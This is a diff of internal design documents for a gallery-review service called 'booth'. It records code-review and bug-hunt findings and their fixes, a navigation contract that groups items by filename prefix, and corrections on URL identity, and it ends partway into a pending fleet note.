| **SR-3** | `data_dir` (booth/app.py) vs `DATA` (scripts/booth) | The service resolves and expands its root in `create_app`; the CLI derives it from `$BOOTH_DATA_DIR`. Two independent derivations of one path. | **No change.** This is already true of `links.md`, `.marks.json` and `.booth.json` — pre-existing and out of this unit's scope. Recorded so it is a known property rather than a discovery. |
|
||||
| **SR-4** | `list_booths` (booth/app.py) | **Confirmed, not assumed.** `if not child.is_dir() or child.name.startswith("."): continue` — `.benches.json` fails both guards. The index cannot see the registry. | **Verified.** The assumption stands on read code. |
|
||||
| **SR-5** | `sweep_once` (booth/app.py) | **Confirmed, not assumed — and this was the dangerous one.** The sweeper iterates the data root and could in principle delete the registry. It cannot: the same `is_dir()` + leading-dot pair guards it, and `shutil.rmtree` is reached only past both. | **Verified.** Had either guard been absent this unit would have shipped a design that eats its own registry on the first tick. |
|
||||
|
||||
**The per-render cost, stated because SR-2 surfaced it.** The dead marker runs
|
||||
once per board row: 221 rows today, 178 of which parse as booth links and cost
|
||||
one `is_dir()` each. That is one `stat` per booth row per render of the standing
|
||||
board's page — and the page already does a `booth_items` walk plus a `hold_read`
|
||||
per booth on the index, so it is not a new order of magnitude. It is bounded by
|
||||
the row count, it touches no network, and it is confined to the ONE booth that
|
||||
carries a `links.md`. If the board ever grows past a few thousand rows this
|
||||
becomes worth caching; at 221 it would be premature.
|
||||
|
||||
## Code review — what the cold panel found
|
||||
|
||||
`/heid-code-review` panel `01M35CK8YKEKMV7T15JXEF6A8N`, four arms, verdict
|
||||
**NOT drift-zero**. Folded in full. Three findings were independently reported
|
||||
by **all four arms**, which is the signature of a contract clause that was
|
||||
written as prose and never converted into an assertion.
|
||||
|
||||
| # | finding | arms | disposition |
|
||||
|---|---|---|---|
|
||||
| **A** | **The panel dropped the added date.** *What renders* says "the date it was added"; `b.added` appeared nowhere in the template and no test asked for it. | 4/4 | **Fixed** — rendered, and pinned by a test. |
|
||||
| **B** | **`bench ls` printed no ids**, and the truncated URL it printed was not pasteable into `bench state\|rm`. Worse: the test's own docstring *claimed* it printed ids while asserting nothing — a claim standing in for evidence, which is how the drift would have survived CI. | 4/4 | **Fixed** — the id prints whole and last; the test now round-trips what `ls` prints back through `bench state`. |
|
||||
| **C** | **`bench import` printed the description, not the raw URL**, beside each id — hiding the five-rows-of-talk collapse the clause exists to expose. | 4/4 | **Fixed** — raw URL beside the id, description demoted to a continuation line. |
|
||||
| **D** | **An IPv6 literal lost its brackets.** `http://[::1]:8080/a` normalized to `http://::1:8080/a` — not another spelling but a BROKEN identity, so a re-post never matches the row. | 3/4 | **Fixed** — bracketed literals are re-wrapped; an *unbracketed* one is refused with a reason rather than guessed at. |
|
||||
| **H** | **INV-4's tie-break falsifier could not fail.** `_write_all` serializes with `sort_keys=True`, so both insertion orders came back off disk already id-sorted and removing the tie-break left the test green. | 1/4 | **Fixed** — the test now calls `order_benches` directly with records that tie on both prior keys. A vacuous falsifier of exactly the class `persistent-memory.d/2026-09-22-vacuous-falsifiers.md` names, found by a cold reader and not by us. |
|
||||
| **I** | **An empty board hid the whole panel**, registration form included — the state a fresh deployment starts in. | 1/4 | **Fixed** — gated on page identity. |
|
||||
| **J** | **The `booth link` refusal could fail OPEN** on a name bash's `$()` erases, because it classified by captured-text emptiness. | 1/4 | **Fixed** — the predicate answers with a `B:`/`N` sentinel, so no name can be mistaken for "not a booth". |
|
||||
| **K** | A FIFO at the registry path blocked in `open()`; a deeply-nested JSON `RecursionError` escaped the `except (ValueError, OSError)` pair. | 1/4 | **The FIFO half was already fixed** by our own pass before the reply landed. **The RecursionError half was not** — 200k open brackets is 200 KB, well inside the byte cap, and it 500'd the page the function exists to protect. Fixed. |
|
||||
| **E** | The read does not apply the `id` cap the contract promised. | 3/4 | **Contract amended, code kept.** The id is the locator every control posts back; truncating a hand-edited over-long key would make a row visible and unactionable. |
|
||||
| **F, G** | INV-5's render test covered 5 of 6 cases and asserted only status 200; INV-2's URL table never ran through the dead-marker render. | 4/4, 3/4 | **Both fixed** — the render test now covers oversized, unreadable and FIFO and asserts the error is *visible*; the full table runs through the marker. |
|
||||
|
||||
**Also folded from the per-invariant vacuity pass** (the arms' "what would still
|
||||
pass" section, which is the single most useful thing the panel produced):
|
||||
INV-6 had no vector asserting a non-default port is part of the identity, so
|
||||
"always omit the port" passed every row; INV-3 asserted only that `links/` was
|
||||
absent, so a refusal touching any other sidecar passed; INV-8's hashed sequence
|
||||
omitted `bench ls`; INV-9's AST walk is defeated by `__import__("booth.links")`.
|
||||
All four closed.
|
||||
|
||||
**Declined:** nothing. **Amended rather than fixed:** E, `updated`'s meaning,
|
||||
INV-8's file list, the `registered`/`created` wording, and every line number in
|
||||
this document's prose — the panel found two already stale, which is the whole
|
||||
argument against putting them in prose at all.
|
||||
|
||||
## Bug hunt — what the cold panel found
|
||||
|
||||
`/heid-bug-hunt` panel `01M35CRRK2RTVWWF1BN09AFQG3`, four arms, diff-scoped
|
||||
against `91fd8bc`. The most severe of the three rounds, and **three of its four
|
||||
convergent findings were already closed by our own adversarial pass before the
|
||||
reply landed** — which is the complementarity the skill claims, measured in both
|
||||
directions on one diff.
|
||||
|
||||
| finding | arms | state when the reply landed |
|
||||
|---|---|---|
|
||||
| **A single malformed board row blanks the ENTIRE 221-row board.** `%00` in a booth name decodes to an embedded NUL; `Path.is_dir()` raises **ValueError**, not `OSError`; `_board_rows`' blanket handler returns `[]`. Every row vanishes, the page still 200s, nothing says why. | 4/4 | **Already fixed** (control-character guard). |
|
||||
| **`RecursionError` escapes `read_benches` and 500s the board page.** ~4 KB of nested brackets, well under the byte cap. **Three arms independently cited the precedent: this repo already paid for this exact class in `marks.py`** — the new module re-introduced the unguarded parse. | 4/4 | **Already fixed.** |
|
||||
| **A FIFO still blocks the render path** while the code comment claims the hang lesson was applied. | 4/4 | **Already fixed** — and the comment that lied about it was the thing that made us look. |
|
||||
| **IPv6 bracket loss.** Second independent sighting, same root. | 4/4 | **Already fixed** by the code-review round. |
|
||||
| **The benches panel is nested inside `<span class="sub">`.** A `<div>` in a `<span>`: the parser closes the span implicitly and hoists the div out, orphaning the rest of the sub-line. Nothing 500s, which is why no test could see it. | 3/4 | **OPEN — fixed now.** Moved to block level; pinned by an offset assertion and verified with a real HTML parser (0 block-in-span violations). |
|
||||
| **`_booth_exists` and `resolve_booth` disagree on a symlink.** The marker called a booth pointing outside the data root alive while the page 404s it — the row renders healthy and the link is dead. | 3/4 | **OPEN — fixed now.** Same containment, same rules. |
|
||||
| **The board append opens its fd OUTSIDE the lock.** `flock LOCK printf … >> board` reads as locked and is not: the shell opens the append fd while parsing. A concurrent `unlink` replaces the inode via `os.replace`, the old fd keeps pointing at the unlinked one, and the append **succeeds, reports success, and vanishes.** | solo | **OPEN — fixed now.** Pre-existing, not this unit's, but it is silent data loss in the file this unit lives in. Proved by holding the lock and asserting nothing is written. |
|
||||
| **A pre-planted symlink at the predictable `.benches.json.tmp.<pid>`** defeats the atomic write. The replace is atomic, not safe. | solo | **OPEN — fixed now.** `mkstemp` (O_EXCL, same directory), plus an `fsync` before the replace, because `os.replace` orders the rename and not the data behind it. |
|
||||
| A successful registration can cross the read cap and poison the registry; an empty board hides the panel. | solo | **Already fixed** by the contract round. |
|
||||
|
||||
**Declined, with the reasoning recorded.** Kimi: the `python3 -c` guard under
|
||||
`set -e` means that on a host where `booth.links` is not importable, `booth
|
||||
link` now refuses **every** URL, not just booth ones — the refusal mechanism
|
||||
refuses everything, while the sibling `announce` call degrades gracefully.
|
||||
**True, and kept as-is deliberately.** A guard that fails open is not a guard,
|
||||
and the state it describes (the package unreachable from the script that
|
||||
computes its path from its own location) is a broken install in which `booth
|
||||
new`, `booth add` and `booth ask` are equally broken. Loud failure with a
|
||||
message naming what is missing beats silent non-enforcement. Recorded rather
|
||||
than silently dismissed, because the asymmetry with `announce` is real.
|
||||
|
||||
**What the round says about the method.** The two lenses were complementary in
|
||||
both directions on one diff: the cold panel found three live defects the
|
||||
in-session pass missed (all three invisible to a test — a layout nesting, a
|
||||
symlink disagreement, a lock-ordering race), and the in-session pass had already
|
||||
closed three of the panel's four convergent findings. Neither substitutes for
|
||||
the other. The sharpest single line in the reply is the one noting this repo had
|
||||
already paid for the `RecursionError` class in `marks.py` — **a new module
|
||||
re-introduced a bug the codebase had a test for**, which no amount of
|
||||
reading the new module in isolation would surface.
|
||||
@@ -0,0 +1,226 @@
|
||||
---
|
||||
contract_version: "0.1-PROPOSED"
|
||||
status: "LANDED 2026-09-22, all four components. The operator ratified the scope departure (drop subfolder sections, add filename-prefix groups) and settled the `unanswered` open question in favour of the shipped reading. Rail, filters and grid keyboard landed at a306e2d; the groups landed in the commit carrying this revision, which also DELETED tests/test_navigation.py::test_no_group_rail_is_shipped_yet — the guard that held the departure back while the ruling was outstanding. ⚠ TWO THINGS IN THIS CONTRACT CHANGED AT IMPLEMENTATION, both measured rather than preferred: the grouping RULE (see Signatures) and INV-3, which guarded one degeneracy and needed to guard two. The original text of both is kept below, struck, because the reasoning is the useful part."
|
||||
module: "booth.items + booth.app (gallery navigation)"
|
||||
purpose: "The last unit before the 1.0 cut. A gallery booth renders as one flat wall with no way to filter it, no way to move through it from the keyboard, and no grouping — so a review of sixty-odd renders is a scroll-and-squint. ROADMAP names four components: sections, a sticky rail, filters, grid keyboard. THE MEASUREMENT KILLS THE FIRST AND REPLACES IT: not one of the eleven live gallery booths has a subdirectory, so sections buy nothing, while a filename-prefix heuristic yields 5-16 sensible groups on four of the five large galleries. This unit ships the rail, the filters, the grid keyboard, and GROUPS DERIVED FROM FILENAMES rather than from a directory tree that does not exist."
|
||||
depends_on:
|
||||
- "booth.items.booth_items (INV-1: one resolver for item facts. `Item` gains ONE field, `group`, derived here and nowhere else. No route body derives it, exactly as no route body derives `section`, `caption` or `blurred`.)"
|
||||
- "booth.items.Item.section (ALREADY EXISTS from U1 and STAYS. This unit does not delete it and does not render a rail from it — those are different questions. A booth that does have subdirectories keeps its section values; nothing regresses.)"
|
||||
- "booth.app.build_gallery (the thin adapter over `booth_items`; it shapes items for the template and is where `group` reaches the page)"
|
||||
- "booth.app.image_chain (the zoom prev/next ring. UNCHANGED, and named here because it was CHECKED: the ring is the item order filtered to images, and grouping must not reorder it -- a filter that changed what `next` means would misfile the operator's judgment, which is CLAUDE.md invariant 6's whole reason for existing.)"
|
||||
language: "python + jinja + a little javascript"
|
||||
complexity: "medium"
|
||||
estimated_loc: 300
|
||||
confidence: 0.6
|
||||
used_by:
|
||||
- "booth.app.booth_view (the gallery page gains a rail and a filter state; the grid gains keyboard focus)"
|
||||
touches:
|
||||
- "booth/items.py (the `group` field and its derivation)"
|
||||
- "booth/app.py (build_gallery carries `group`; booth_view passes group counts)"
|
||||
- "booth/templates/booth.html (the rail, the filter controls, the grid's focus affordances)"
|
||||
- "booth/templates/base.html (rail + focus CSS)"
|
||||
- "booth/static/embed.js (NOT TOUCHED — named because it was checked; the verbatim path has no grid)"
|
||||
- "tests/test_items.py (group derivation)"
|
||||
- "tests/test_navigation.py (new — rail, filters, keyboard)"
|
||||
- "ROADMAP.md (the deterministic-order table gains the group row; U7's row is rewritten)"
|
||||
assumptions:
|
||||
- "THE SCOPE DEPARTURE WAS RATIFIED BY THE OPERATOR 2026-09-22. ROADMAP's U7 row said `sections, rail, filters, grid keyboard`; this contract drops sections and adds filename groups. The evidence is in `persistent-memory.d/2026-09-22-u7-remeasured-before-scoping.md`: zero of eleven gallery booths have a subdirectory, the only two booths that do are reports, and `pewpew-ui-brief`'s seven subdirectories hold one image between them."
|
||||
- "THE GROUP HEURISTIC DEGENERATES IN TWO DIRECTIONS, NOT ONE, AND THIS CONTRACT ORIGINALLY SAW ONLY THE FIRST. (a) ONE GROUP FOR EVERYTHING -- live specimen `sc-iso-spread`, `DSC0001.jpg` through `DSC0006.jpg`. (b) ONE GROUP PER ITEM -- live specimens `pewpew-ui-brief` at 23 groups for 34 items and `dfa-concepts` at 13 for 20. Both render as NO rail, because a navigation affordance that cannot navigate is worse than none: it occupies the space where the real one would be. Degeneracy (b) is the one the shipped rule actually meets on the live set, and the contract as first written would have shipped it everywhere."
|
||||
- "GROUPING IS A VIEW, NEVER A REORDERING. The item order stays `sorted(rel)` (U1 INV-3) and the zoom ring stays that order filtered to images. Grouping and filtering change what is SHOWN and never the sequence -- so `the third one` means the same thing with a filter on as with it off, and a flag lands where the operator thinks it does. This is the whole of CLAUDE.md invariant 6 applied to a surface that did not exist when it was written."
|
||||
- "THE PAGE WORKS WITH NO JAVASCRIPT. Filters are links with a query parameter, resolved server-side; the rail is anchors. Keyboard is the one genuinely JS-only affordance and it is additive -- the page is fully usable without it. U3 cost the verbatim path its no-JS operation and said so plainly; this unit must not quietly do the same to the gallery, which is the surface the operator actually reviews on."
|
||||
- "VIRTUALIZATION STAYS PARKED. The largest gallery is 66 images. ROADMAP parks progressive loading with `measure the real booth before optimising it`; at this size a lazy grid is almost certainly fine, and inventing the work is the failure the parking lot exists to prevent."
|
||||
open_questions:
|
||||
- "WHETHER THE GROUP HEURISTIC SHOULD BE OVERRIDABLE. A booth could carry a `.groups` dotfile naming its own grouping, the way `.blurred` names blur. Not designed here: no live booth wants it, the heuristic is right on four of five, and adding an override before anyone has been failed by the default is speculative. Parked, not solved."
|
||||
- "RESOLVED 2026-09-22 — `unanswered` means `has an open pick`, the U4 hold predicate, which is what shipped. The `has no mark at all` reading is a genuinely different question and is PARKED for v1.1 rather than pending."
|
||||
---
|
||||
|
||||
# U7 — navigation at the size the booths actually are
|
||||
|
||||
**LANDED — all four components.**
|
||||
|
||||
| component | ROADMAP says | state |
|
||||
|---|---|---|
|
||||
| sticky rail | ratified | **landed** — totals + per-filter counts, links not scripts |
|
||||
| filters | ratified | **landed** — all / flagged / annotated / unanswered |
|
||||
| grid keyboard | ratified | **landed** — `←/→ f n Enter Esc`, bound only when a grid exists |
|
||||
| **sections → filename groups** | **departs from it** | **landed** — ratified by the operator 2026-09-22. `test_no_group_rail_is_shipped_yet`, the guard that held it back, was deleted in the same commit that built it. |
|
||||
|
||||
`unanswered` means **has an open pick** — the U4 hold predicate. **Settled by
|
||||
the operator 2026-09-22**; the "has no mark at all" reading is a different
|
||||
question and is parked, not pending.
|
||||
|
||||
## The defect, re-measured rather than inherited
|
||||
|
||||
ROADMAP sizes this unit for 270 items. **The largest gallery is now 81 items
|
||||
and 40 images.** The four booths it was written against were swept on
|
||||
2026-09-22 and the set churned again during that session. The defect is real
|
||||
and the sizing is not:
|
||||
|
||||
| | ROADMAP's premise | measured 2026-09-22 |
|
||||
|---|---|---|
|
||||
| largest gallery | 270 images, one flat wall | **`sindra-bakeoff`, 40 images** |
|
||||
| galleries with subdirectories | "sections come from subfolders, which already exist" | **0 of 11** |
|
||||
| booths with subdirectories at all | — | 2, and **both are reports** |
|
||||
| grouping signal that does exist | — | **the filename prefix** |
|
||||
|
||||
## Sections are dead. The prefix is not.
|
||||
|
||||
⚠ **THE TABLE BELOW IS THE RE-MEASUREMENT, AND IT DISAGREES WITH THE ONE THIS
|
||||
CONTRACT WAS WRITTEN ON.** The original claimed the rule `strip ONE trailing
|
||||
run of digits` produced **5** groups on `sindra-bakeoff` and **1** on `sindra`.
|
||||
Neither reproduces: that rule gives **24** and **27**. The original table's own
|
||||
worked example says so out loud — it notes `00-sheet-c1-market-noon.png` has no
|
||||
trailing digit run and therefore groups as its whole stem, which makes eight of
|
||||
bakeoff's forty images eight singleton groups. **The numbers 5 and 1 are
|
||||
reproducible only by two OTHER rules** (first-two-segments gives exactly 5 on
|
||||
bakeoff; first-segment gives exactly 1 on sindra), so the table that justified
|
||||
this design was assembled from more than one heuristic. Caught by implementing
|
||||
the stated rule and running it against the live set rather than trusting the
|
||||
table beside it.
|
||||
|
||||
**The shipped rule** — first separator-delimited segment, destemmed only when
|
||||
the stem has no separator — measured against all 17 live booths, 2026-09-22.
|
||||
`G` is groups, `med` the middle group's size, `sing` the singleton groups:
|
||||
|
||||
| booth | items | G | med | sing | rail? |
|
||||
|---|---|---|---|---|---|
|
||||
| `sindra-corpus-v1` | 66 | 11 | 5 | 4 | **yes** — `ac 12 · bu 10 · cu 12 · fb 12 · … · wu 8` |
|
||||
| `sindra-sfw-pool` | 59 | 6 | 11 | 0 | **yes** |
|
||||
| `sindra-nude-pool` | 42 | 9 | 4 | 1 | **yes** |
|
||||
| `sindra-bakeoff` | 41 | 4 | 12 | 1 | **yes** — `00 · README · m · r`, the three real families |
|
||||
| `sindra` | 31 | 2 | 15 | 1 | **yes** |
|
||||
| `muse-clothed-repro` | 7 | 3 | 2 | 1 | **yes** — `v30`/`v35`, the axis that booth is about |
|
||||
| `pewpew-ui-brief` | 34 | 23 | 1 | 19 | no — **degeneracy (b)** |
|
||||
| `dfa-concepts` | 20 | 13 | 1 | 8 | no — **degeneracy (b)** |
|
||||
| `cr123a-to-d-sleeve` | 7 | 6 | 1 | 5 | no — degeneracy (b) |
|
||||
| `sc-iso-spread` | 6 | 1 | 6 | 0 | no — **degeneracy (a)**, `DSC0001`–`DSC0006` |
|
||||
| `music3-songs`, `krea2-lora-portability` | 3 | 1 | 3 | 0 | no — degeneracy (a) |
|
||||
| `miranda-is`, `sindra-voice-1` | 47 / 10 | 10 / 6 | 2 / 2 | 3 / 2 | **no grid at all** — both carry `index.html` and take the verbatim path |
|
||||
|
||||
**Why the rule changed.** `strip ONE trailing run of digits` keys on the END of
|
||||
the stem, which is where the *instance number* lives — so it separates
|
||||
`m-c1-market-noon-9401` from `m-c2-rain-street-9403`, which are the same family.
|
||||
The shipped rule keys on the START, which is where the *family* lives. The
|
||||
competing heuristics measured and rejected: split-on-second-hyphen (59 groups
|
||||
from 59 files), and destemming the first segment unconditionally (merges `v30`
|
||||
with `v35`).
|
||||
|
||||
**The honest cost.** Destemming a flat stem is what makes `ac01.png` → `ac`
|
||||
work, and it is exactly what would merge `v30` with `v35` if applied to a
|
||||
segmented name. The rule therefore has a conditional in it, which is one more
|
||||
thing than "take the first segment" — paid because `sindra-corpus-v1`, the
|
||||
largest gallery, is entirely flat names.
|
||||
|
||||
## What ships
|
||||
|
||||
1. **`Item.group`** — derived once, in the resolver, beside `section`.
|
||||
2. **A sticky rail** — total, per-group counts, per-filter counts, jump-to-group
|
||||
anchors. **Absent entirely when there is one group or fewer.**
|
||||
3. **Filters** — all / flagged / annotated / unanswered, as server-resolved
|
||||
query parameters so they work with JS off.
|
||||
4. **Grid keyboard** — `←/→` move focus, `f` flags, `n` opens a note, `Enter`
|
||||
zooms, `Esc` clears focus. Additive; the page is complete without it.
|
||||
|
||||
## Signatures
|
||||
|
||||
```python
|
||||
def _group_of(rel: str) -> str | None:
|
||||
"""The grouping key for an item, or None when it has none.
|
||||
|
||||
THE RULE, in one line: the first separator-delimited segment of the
|
||||
basename's stem -- with a trailing digit run stripped only when the stem has
|
||||
no separator at all.
|
||||
|
||||
00-sheet-c1-market-noon.png -> 00
|
||||
m-c1-market-noon-9401.png -> m
|
||||
flag-rear.png -> flag
|
||||
ac01.png -> ac (no separator: the digits ARE it)
|
||||
DSC0001.jpg -> DSC
|
||||
v30-seed8302.png -> v30 (separator present, so v30 != v35)
|
||||
01.png -> None (nothing before the digits)
|
||||
|
||||
Derived HERE and nowhere else (INV-1).
|
||||
"""
|
||||
```
|
||||
|
||||
~~**SUPERSEDED — the rule this contract was written with.**~~ *"take the stem of
|
||||
the basename, strip ONE trailing run of digits and any single separator before
|
||||
it. `ac01.png` → `ac`; `00-sheet-c1-market-noon.png` → `00-sheet-c1-market-noon`
|
||||
(no trailing digit run, so the whole stem); `flag-rear.png` → `flag-rear`."*
|
||||
Kept struck rather than deleted: it is the rule the measurement table above was
|
||||
supposed to describe, and the mismatch between the two is the thing worth
|
||||
remembering. It keys on the end of the stem, where the instance number lives,
|
||||
and so splits families rather than gathering them.
|
||||
|
||||
## Ordering — the rule, because invariant 6 binds
|
||||
|
||||
| collection | rule |
|
||||
|---|---|
|
||||
| items | **unchanged** — `sorted(rel)` (U1 INV-3) |
|
||||
| the zoom ring | **unchanged** — item order filtered to images |
|
||||
| **groups among themselves** | **the position of each group's FIRST member in the RENDERED sequence** — which is `sorted(rel)` narrowed by the filter and never re-sorted. So the rail reads in the same direction the grid does, and adding a file never reshuffles the rail unless it lands first in its group. Implemented by walking `shown` once into an insertion-ordered `dict`: the walk IS the rule, so there is no second sort to drift from it. |
|
||||
| items within a group | **unchanged** — they are a filtered view of `sorted(rel)`, never re-sorted |
|
||||
| the filtered grid | **unchanged** — `sorted(rel)` with non-matching items hidden |
|
||||
|
||||
This closes ROADMAP's outstanding U7 order question. Compare pairing is not
|
||||
this unit's problem — compare mode is parked to v1.1 with the pairing rule.
|
||||
|
||||
## Invariants
|
||||
|
||||
**INV-1 — one resolver derives the group.** `_group_of` is called only from
|
||||
`booth_items`. *Falsifiable:* the defeating change is a route or template
|
||||
computing a prefix inline. The test asserts no call to `_group_of` survives
|
||||
inside `create_app` — the same assertion U1 makes for `classify` and
|
||||
`render_doc`, which is why it is the shape used here.
|
||||
|
||||
**INV-2 — grouping and filtering never reorder.** *Falsifiable:* the defeating
|
||||
change is sorting by `(group, rel)` to make the grid render contiguously, which
|
||||
looks right and silently changes what "the third one" means. The test renders a
|
||||
booth whose groups interleave in `sorted(rel)` order and asserts the rendered
|
||||
item sequence is **byte-identical** with grouping on and off, and that
|
||||
`image_chain` is unchanged under every filter.
|
||||
|
||||
**INV-3 — a rail that cannot navigate does not render, in EITHER direction of
|
||||
degeneracy.** The rail is absent unless grouping is informative: **two or more
|
||||
groups, and the middle group holding more than one item.**
|
||||
|
||||
- **(a) one group for everything.** Live specimen `sc-iso-spread`:
|
||||
`DSC0001.jpg`–`DSC0006.jpg`, one group, six images. A rail with a single row
|
||||
cannot navigate.
|
||||
- **(b) one group per item.** Live specimens `pewpew-ui-brief` (23 groups for
|
||||
34 items) and `dfa-concepts` (13 for 20). A rail with a row per tile is a
|
||||
second copy of the grid.
|
||||
|
||||
*Falsifiable:* two defeating changes, each with its own test. `{% if
|
||||
rail.groups %}` in the template is true for a single group and true for N
|
||||
singletons — so the decision lives in Python, where it can be measured, and the
|
||||
template guard is the whole of it. Dropping the `>= 2` term reds
|
||||
`test_no_group_rail_when_there_is_only_one_group`; dropping the median term
|
||||
reds `test_no_group_rail_when_every_item_is_its_own_group`. Both mutations were
|
||||
RUN.
|
||||
|
||||
~~**SUPERSEDED — INV-3 as first written.**~~ *"one group renders NO rail …the
|
||||
test uses the real `sindra`-shaped fixture (thirty files, one prefix)."* Two
|
||||
things wrong with it, and the second is why this is kept: the `sindra` fixture
|
||||
does not exist (that booth yields 27 groups under the rule stated beside it,
|
||||
and 2 under the shipped one — `sc-iso-spread` is the real specimen), and it
|
||||
guarded only degeneracy (a) when (b) is the one the live set actually
|
||||
exhibits. A contract that had shipped as written would have put a 23-row rail
|
||||
on `pewpew-ui-brief`.
|
||||
|
||||
**INV-4 — a filter is a link, not a script.** *Falsifiable:* the defeating
|
||||
change is binding filters to a click handler. The test fetches the filtered URL
|
||||
directly and asserts the server returned the filtered grid, with no JS executed.
|
||||
|
||||
**INV-5 — the keyboard never fires on a booth with no grid.** *Falsifiable:*
|
||||
the defeating change is binding the handler unconditionally, so `f` on the
|
||||
standing link board flags nothing and swallows the keystroke. The test asserts
|
||||
the handler is not bound when `items` is empty.
|
||||
|
||||
## Out of scope
|
||||
|
||||
- **Sections as a rail.** Measured worthless; `Item.section` is untouched.
|
||||
- **Compare mode.** Parked to v1.1 with its pairing rule.
|
||||
- **Virtualized loading.** Parked; measure first.
|
||||
- **A `.groups` override file.** See open questions.
|
||||
- **Anything on the verbatim path.** It has no grid.
|
||||
@@ -162,6 +162,7 @@ session that posted the set.
|
||||
```
|
||||
BENCH
|
||||
id : normalized URL (the identity — re-posting UPDATES, never appends)
|
||||
NORMALIZED MEANS THE FULL URL, NOT THE ORIGIN — see below
|
||||
name : what it is
|
||||
owner : the agent handle that registered it
|
||||
state : live → promoted (to Homepage) → retired
|
||||
@@ -173,8 +174,51 @@ BENCH
|
||||
- `booth bench add <url> "<what>"` upserts on the normalized URL. The 5 `talk`
|
||||
rows and 4 `peedlar` rows collapse to one each, by construction.
|
||||
- **`booth link` refuses a `…:8090/b/…` URL** and names the right surface. It
|
||||
survives as a deprecated alias rather than vanishing — 17 handles have the
|
||||
muscle memory, and the teaching moment belongs at the point of use.
|
||||
is **not deprecated** — 17 handles have the muscle memory, the teaching moment
|
||||
belongs at the point of use, and (corrected 2026-09-22, U6) the board has a
|
||||
legitimate residual job: of the 35 distinct non-booth targets on it, roughly
|
||||
**14 are reference bookmarks** — gitea repositories, HuggingFace model cards,
|
||||
a vLLM recipe, a Headscale setup page — for which the board is the right and
|
||||
only home. Deprecating it would evict a third of its live content. It loses
|
||||
exactly one shape, the booth URL, and keeps the rest.
|
||||
|
||||
### What "normalized URL" means, and why it is not the origin
|
||||
|
||||
Corrected 2026-09-22 while U6 was being contracted. This doc said *normalized
|
||||
URL* and left it there; the obvious reading is the origin
|
||||
(`scheme://host:port`), and that reading is **measurably destructive**.
|
||||
|
||||
Collapsing the board's 43 non-booth rows by origin yields 19 groups; by full
|
||||
URL, 35. The 16-group difference is not duplication:
|
||||
|
||||
| what origin identity would merge | rows |
|
||||
|---|---|
|
||||
| eight distinct gitea repositories, issues and package versions | 8 → 1 |
|
||||
| three unrelated HuggingFace model cards | 3 → 1 |
|
||||
| **the two LRPG surfaces on `10.100.10.50:8321`** — this doc's own example of two real benches | 2 → 1 |
|
||||
| two different claude.ai artifact briefs | 2 → 1 |
|
||||
|
||||
Full-URL identity still collapses both cases this doc names — `talk` 5 rows to
|
||||
1, Peedlar's root 3 to 1 — which is the entire win, without the losses.
|
||||
|
||||
The **query string is part of the identity** and the **fragment is not**: three
|
||||
ShutterChute rows differ only by `?token=` and are three genuinely different
|
||||
one-shot links, while a fragment is a position inside a page. Credentials in a
|
||||
URL are **refused rather than stripped** — stripping registers a bench whose URL
|
||||
no longer works while telling the poster it succeeded.
|
||||
|
||||
### One number that was two defects
|
||||
|
||||
This doc's headline **69% rot** is two different defects wearing one number, and
|
||||
U5 already closed the cause of the larger one:
|
||||
|
||||
| defect | rows (2026-09-22) | what fixes it |
|
||||
|---|---|---|
|
||||
| **booth-announcement rot** — a session posts a booth URL because a booth cannot announce itself | 178 rows, 156 already dead | **U5** gave job 5 a home; U6's refusal stops the habit; U6's dead marker clears what landed |
|
||||
| **bench re-post** — an append log with no identity | 8 rows | U6's registry |
|
||||
|
||||
Worth stating plainly because the single figure implies the registry is the big
|
||||
half. It is the smaller one.
|
||||
- Liveness is *flagged*, not enforced. A bench that stops answering gets a
|
||||
marker and a date; deleting is the operator's call. Nothing here deletes the
|
||||
operator's data on a timer.
|
||||
@@ -206,21 +250,41 @@ a real DOM API. Marks land at `data-booth-mark="<id>"` anchors, which keeps the
|
||||
page*. If the line is absent, the Booth injects it at **one** insertion point, so
|
||||
every existing verbatim booth keeps working untouched.
|
||||
|
||||
**What this deletes**, and this is the whole point of the decision:
|
||||
**What this deleted** — landed as U3, 2026-09-22:
|
||||
|
||||
- `booth/inline.py` — 114 lines of placeholder DSL, entirely
|
||||
- `booth/inline.py` — 119 lines of placeholder DSL, entirely. One line survived:
|
||||
`form_id`, which builds the shared `<form>` id scattered question groups bind
|
||||
to, and which moved to `app.py` beside the route that renders them.
|
||||
- `wrap_verbatim_html` and its six regexes against arbitrary HTML
|
||||
(`_HEAD_CLOSE_RE`, `_HTML_OPEN_RE`, `_DOCTYPE_RE`, `_BODY_CLOSE_RE`,
|
||||
`_HTML_CLOSE_RE`, `_ICON_RE`) and the doctype/charset-ordering constraints
|
||||
they are threading
|
||||
- `_BACK_CHIP`, `asks_chip` — two floating chips positioned by guessed offsets
|
||||
- `GET /b/<name>/asks` — the standalone page that existed only because a verbatim
|
||||
booth could not show its own asks
|
||||
`_HTML_CLOSE_RE`, `_ICON_RE`) **and both of the constraints they were
|
||||
threading.** Not satisfied more carefully — gone: nothing can displace a
|
||||
leading doctype into quirks mode and nothing can push the charset `<meta>`
|
||||
out of its detection window, because the Booth only ever APPENDS now.
|
||||
- `_BACK_CHIP`, `asks_chip` — two floating chips positioned by guessed offsets.
|
||||
embed.js builds both in the DOM.
|
||||
- the `styles()` macro. The scoped `.bk-ask-*` rules live in embed.js next to
|
||||
the code that mounts them, emitted once by construction instead of by a
|
||||
seen-set.
|
||||
- `GET /b/<name>/asks` was already a 308 into `/marks` by U2; this unit left it
|
||||
there. The standalone page it named is gone, but the URL is in the operator's
|
||||
history and in landed reports, and a dead link teaches nothing.
|
||||
|
||||
Regex-injecting into arbitrary author HTML is the single most fragile thing in
|
||||
the service, and it is load-bearing for the operator's most important workflow.
|
||||
**What replaced them is a substring test and a `+`.** `if EMBED_SRC not in
|
||||
html: html += EMBED_SCRIPT_TAG`. A page that declares the line is served with
|
||||
nothing added to it at all.
|
||||
|
||||
Regex-injecting into arbitrary author HTML was the single most fragile thing in
|
||||
the service, and it was load-bearing for the operator's most important workflow.
|
||||
A declared seam costs the author one line and removes the whole class.
|
||||
|
||||
**What it cost, stated because it is real.** The verbatim path used to work with
|
||||
no JavaScript: an ask rendered server-side and submitted through a plain form.
|
||||
It now needs the script. The guarantee that an ask is never invisible survives
|
||||
in a weaker and still-true form through surfaces that need no script — the index
|
||||
card's open-mark badge, and `/b/<name>/marks`, which renders every mark
|
||||
server-side.
|
||||
|
||||
---
|
||||
|
||||
# Navigation
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
# PENDING — fleet note to the 17 consuming handles
|
||||
|
||||
**Status: DRAFTED, NOT SENT.** Blocked by the auto-mode classifier on
|
||||
